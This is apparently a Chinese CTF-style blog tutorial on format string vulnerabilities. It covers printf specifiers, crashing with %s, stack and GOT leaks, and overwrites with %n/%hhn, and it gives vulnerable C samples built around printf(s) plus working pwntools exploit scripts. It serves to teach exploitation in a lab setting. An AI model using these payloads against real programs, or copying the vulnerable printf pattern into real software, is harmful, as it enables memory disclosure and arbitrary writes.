好好说话之格式化字符串漏洞利用

格式化这部分也是写了很长时间,前面理论部分出自wiki,后面讲解的部分用了博主很多自己的想法,也提出了一些博主自身在做题时候遇到的问题。如果你刚刚接触格式化字符串,这篇博客的知识关联性还是很强的,希望不要跳过某个部分

感谢yichen的博客对我学习的帮助,学习链接:
https://www.yuque.com/hxfqg9/bin/aedgn4#rbKNH

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

格式化字符串函数介绍

格式化字符串函数将第一个参数作为格式化字符串,根据其来解析之后的参数。一般来说格式化字符串在利用的时候主要分三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数

格式化字符串函数

输入函数:scanf

输出函数:

函数基本介绍
printf输出到stdout
fprintf输出到执行FILE流
vprintf根据参数列表格式化输出到stdout
vfprintf根据参数列表格式化输出到指定FILE流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串
setproctitle设置argv
syslog输出日志
err,verr,warn,vwarn等。。。

格式化字符串

格式化字符串基本格式如下

%[parameter] [flag] [field width] [.precision] [length] type

中括号中的属性是可选的,不需要一定都写上,比如%08x,他就只用到了其中的一部分。下面举几个比较重要的属性讲一下:

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    输出的最小宽度
  • precision
    输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, '%'字面值,不接受任何 flags, width。

参数

就是响应的要输出的变量

格式化字符串漏洞原理

格式化字符串函数时根据格式化字符串来进行解析的,那么响应的要被解析的参数的个数也是由这个格式化字符串所控制。我们拿printf函数举例子:

在这里插入图片描述正常的printf函数的结构是格式化字符串与参数一一对应的。那么在调用printf函数的时候参数从右向左进栈,进栈之后格式化字符串是在栈顶的位置。那么在进入printf之后,函数首先获取第一个参数,也就是此时栈顶的格式化字符串,一个一个读取其字符串会遇到两种情况

  • 当前字符串不是%,直接输出到相应标准输出,比如直接输出一个’hello word‘
  • 当字符是%,继续读取下一个字符
    • 如果没哟字符,报错
    • 如果下一个字符是%,输出%
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

但是如果缺少了参数呢,例如下面这样:

printf("Color %s, Number %d, Float %4.2f");

在这里插入图片描述此时可以发现并没有提供参数,那么程序如何运行呢?程序会照样运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为:

  • 解析其地址对应的字符串
  • 解析其内容对应的整形值
  • 解析其内容对应的浮点值

对于第一种情况来说,如果提供了一个不可访问地址,比如0,那么程序就会崩溃,所以说即使printf函数没有给出参数,也会按照格式化字符串给出的格式打印出接下来三处地址中的内容

%d :十进制,输出十进制整数
%s : 字符串,从内存中读取字符串
%x : 十六进制,输出十六进制数
%c : 字符串,输出字符串
%n : 到目前为止缩写的字符串数

格式化字符串漏洞利用

程序崩溃

拿到一个程序之后可以通过输入若干个%s来进行判断是否存在格式化字符串漏洞

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

前面讲过没有参数的时候printf函数依然还可以输出格式化字符串对应的地址中的内容,所以如果存在格式化字符串漏洞,在输入一长串%s之后,printf会将%s作为格式化字符串,将对应地址中的内容以字符串的形式输出出来。但是栈上不可能每个值都对应了合法地址,所以数字对应的内容可能不存在,这个时候就会使程序崩溃。

在Linux中,存取无效的指针会引起进程受到SIGSEGV信号,从而使程序非正常终止并产生核心转储

泄露栈内存

例题如下:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

编译如下:

gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

获取栈变量数值

通过gdb打开程序,在printf处下断点

pwndbg> b printf
Breakpoint 1 at 0x8048330

然后按r运行,输入%08x.%08x.%08x

pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/fmtstr/leakmemory/leakmemory 
%08x.%08x.%08x

回车之后程序会停在printf函数处,看一下此时的栈空间

在这里插入图片描述
在这里插入图片描述

可以看到格式化字符串的第一个%08x解析的是0x1,第二个%08x解析的是0x22222222,第三个%08x解析的是-1,第四个%s解析的是我们输入的“%08x.%08x.%08x”字符串。所以接下来输入c让程序继续执行,我们预计的情况是会将这四处输出出来:

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

和我们想象的一样,并且程序会继续停在第二个printf函数处,依然还是看一下栈空间

在这里插入图片描述
在这里插入图片描述

可以看到由于第二次printf没有给参数,所以触发了格式化字符串漏洞,可以看到格式化字符串的第一个%08x解析的是0xffffd090,第二个%08x解析的是0xf7fd0410,第三个%08x解析的是0x1。接下来输入c让程序继续执行,我们预计的效果是打印出“ffffd090. f7fd0410. 00000001”

pwndbg> c
Continuing.
ffffd090.f7fd0410.00000001[Inferior 1 (process 2788) exited normally]

我们不只可以用%x%x%x,还可以使用%p来获取数据:

hollk@ubuntu:~/ctf-challenges/pwn/fmtstr/leakmemory$ ./leakmemory 
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xffe9c200.0xf7eee410.0x1

由于栈上的数据会因为每次分配的内存页不同,所以并不是每次得到的结果都一样。我们上面使用的方法一直都是依次输出栈中的每个参数,那么我们想要输出一个特定位置的内容,就需要更改一下输入的内容

%n$x

还是通过gdb打开程序,在printf函数下断点,接下来输入r运行起来。这个时候我们按照上面的公式输入%3$x

pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/fmtstr/leakmemory/leakmemory 
%3$x

依旧输入c会打印出“00000001.22222222.ffffffff.%3$x”,并且程序还会停在第二个printf函数处,这个时候我们就需要看一下栈空间了

在这里插入图片描述

可以看到我们输入的%3$x被放置到了printf函数格式化字符串的位置,一会我们再讲为什么要输入 %3$x。接下来输入c看一看打印的结果

在这里插入图片描述可以看到我们输出的是1,也就是上面的0x1,所以说%3$x解析的是0x1。那么就需要仔细琢磨一下我们输入的%3$x

在这里插入图片描述事实上我们通过%3$x输出的0x1是格式化字符串的第三个参数,所以我们的%3$x就是第三个参数的意思

在这里插入图片描述但是我们实际上输出的是printf的第四个参数,因为格式化字符串就是printf函数的其中一个参数。这样我们就可以不用遍历整个栈,能够指定输出某个栈上的内容

获取栈变量对应字符串

其实就是把前面格式化字符串的x改成s就可以了,%s会以字符串的形式输出栈地址中的内容,验证过程和上面一样,就不写了

小技巧总结

利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

泄露任意地址内存

有时候我们想要泄露某个libc函数的got表内容,从而的到其地址,进而获取libc版本以及其他函数的地址,这时候能够完全控制泄露某个指定地址的内存就很重要了。一般来说在格式化字符漏洞中,我们读取的格式化字符串都在栈上。也就是说在调用输出函数的时候,其实第一个参数的值其实就是该格式化字符串的地址

由于我们可以控制格式化字符串,如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设改格式化字符串相对函数调用为第K个参数。那么就可以通过如下 的方式来获取某个指定地址addr的内容

addr%k$s

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

[ tag ]%p%p%p%p%p%p%p%p%p%p%p%p.......

[tag]为重复某个字符的字节长来作为tag,就是aaaa、bbbb这样就可以。后面个%p会将依次遍历以地址的形式打印出函数参数,试一下:

在这里插入图片描述
我们输入的AAAA对应后面到0x41414141,也就是格式化字符串的第四个参数,当然我们也可以使用前面的方法:

AAAA%4$p

那么我们想想,如果将AAAA替换成某个函数的got地址,那么程序就会打印出这个函数的真实地址。我们拿scanf函数举例,获取函数got地址就交给我们的pwntools了:

from pwn import *
sh = process('./leakmemory')
elf = ELF('./leakmemory')
__isoc99_scanf_got = elf.got['__isoc99_scanf'] #获取scanf函数的got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s' #将AAAA%4$p中的A替换成scanf函数的got地址
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()

运行结果如下:

在这里插入图片描述

覆盖内存

前面我们通过格式化字符串来泄露栈内存以及任意地址内存,那么这部分我们直接修改栈上变量的值。想要进行覆盖,势必要有一个东西能有写的能力。这个时候就用到了%n

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

这个%n这样用:

...[ overwrite addr ]....%[ overwrite offset ]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数

一般来说,利用分为以下的步骤:
• 确定覆盖地址
• 确定相对偏移(找格式化字符串中第几个参数)
• 进行覆盖

举例:

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

简单的讲一下这个例子,三个整型变量a=123、b=456、c=789。a、b是全局变量,c是局部变量,数组s等待我们从scanf函数输入。可以明显的看到第二个printf函数存在格式化字符串漏洞。最后是三个判断,如果c = 16就打印“modified c.”,如果a = 2就打印“modified a for a small number.”,如果b = 0x12345678就打印“modified b for a big number!”

覆盖栈内存

这里我们选择让c = 16,使程序打印“modified c.”,可以从源码中看到第一次printf打印出了变量c的地址,所以不需要额外找了

首先我们通过前面的方法测试c变量在格式化字符串的第几个参数

AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

在这里插入图片描述

我们可以通过结果看到变量c是在格式化字符串的第6个参数,接下来就可以根据上面的公式来构造payload了

c_addr + %012d + %6$n

首先第一个c_addr就是变量c的地址,可以通过接收第一次printf打印出来的字符获得。因为前面的c_addr已经占了4个字节,第二个%012d是为了补全16个字节,最后的%6$n是为了向第6个参数内写16,这个16就是前面的16个字节。这就是%n的能力

所以给出EXP:

from pwn import *
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16) #获取c变量的地址
print hex(c_addr)
payload = p32(c_addr) + 'a'*12 + '%6$n' #构建payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

执行结果如下,可以看到输出的“modified c.”字符串:

在这里插入图片描述

覆盖任意地址内存

覆盖小数字

这个小是什么小呢,是小于机器字长的数字。拿2举例子,如果我想向变量中存一个2,那就会出现问题,回想一下刚在我们做的例子,%n会将前面输入的字节数存放到指定的参数地址中。但是我们将地址放在最前面,那么经过p32小端序转化之后地址本身就会占4个字节,所以经过%n存放的时候,向变量中写的数一定是大于等于4的,那这样一来我们想向变量中存放2的想法可能就要破灭了。我们拿a = 2举例,使程序输出字符串“modified a for a small number.”

但是我们想一想,地址一定要放在最前面吗,我们的%n是可以向指定的参数地址写入数字的,所以把原有的payload该一下:

'aa%k$naa' + p32(a_addr)

我们的payload的这么写,但并不是正确的“看”的方式,正确的打开方式应该是这样的:

’aa%k' + '$naa' +p32(a_addr)

我们把前面的字符串拆分成两部分,每个部分四个字节,因为变量是从第六个参数开始的,所以aa%k是第6个、$naa是第7个、p32(a_addr)是第8个,所以k需要改成8,这样%n就会将“aa”这两个字符的字符数2写在第8个参数,即变量a的地址中:

’aa%8' + '$naa' +p32(a_addr)

那么这样一来偏移找到了,剩下的就是变量a的地址了,因为a已经进行过初始化了,所以使用ida可以在.data段找到:

在这里插入图片描述
这样一来a_addr = 0x0804A024

exp如下:

from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

执行结果如下,可以看到输出字符串“modified a for a small number.”

在这里插入图片描述

覆盖大数字

到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少。那么回来,覆盖大数字能有多大呢?拿b = 0x12345678举例,换成十进制的话就是305419896个字节,这就已经非常大了,我们没法构建一个超级长的payload的插入栈中,因为栈的长度可能都没有这么长😁

那么我们改变一下思路,我们一定要一次性写入0x12345678吗?存放变量b的地址空间有4个字节:

在这里插入图片描述

因为在x86、x64中时按照小端序的形式存储的,所以以b_addr作为基地址开始,依次从右向左在每个字节中写入内容。也就是说我们不必须一次性将变量b的所有位置填满,可以一个字节一个字节的填充。这样填充的方法就用到了格式化字符串里面的两个标志位了:

h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数

定义很复杂,简单点说如果我们使用了h标志位,那么就会向变量b中一次性写两个字节,写两次填满。使用hh标志位会向变量b中一次性写一个字节,写四次填满。那么我们去想,如果将b_addr放在格式化字符串的第六个参数位置、b_addr + 1放在第7个参数位置、b_addr + 2放在第8个参数位置、b_addr + 3放在第9个参数位置。再通过%6$hhn、%7$hhn、%8$hhn、%9$hhn将0x78、0x56、0x34、0x12写进去是不是就可以了!

payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
  • 前面的四个p32每个占4字节,一共16个字节,%104x占104个字节,所以104 + 16 = 120 =0x78,所以%6$hhn会将0x78写到第6个参数,即p32(b_addr)的位置
  • %222x占222个字节,再加上前面的字节数:120 + 222 = 342 = 0x156,因为hh是单字,所以只取后面的0x56,所以%7$hhn会将0x56写到第7个参数,即p32(b_addr + 1)的位置
  • %222x占222个字节,再加上前面的字节数:342 + 222 = 564 = 0x234,因为hh是单字,所以只取后面的0x34,所以%8$hhn会将0x34写到第8个参数,即p32(b_addr + 2)的位置
  • %222x占222个字节,再加上前面的字节数:564 + 222 = 0x312,因为hh是单字,所以只取后面的0x12,所以%9$hhn会将0x12写到第9个参数,即p32(b_addr + 3)的位置

这样一来我们就完成了对变量b四个字节的填充,填充之后b = 0x12345678,剩下的就是寻找b的地址了,依然还是使用ida在.data里面找到b的地址:

在这里插入图片描述
这样一来b_addr = 0x0804A028

exp如下:

from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
print sh.recv()
sh.interactive()

结果如下,会看到程序打印字符串“modified b for a big number!”

在这里插入图片描述

在这里插入图片描述

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值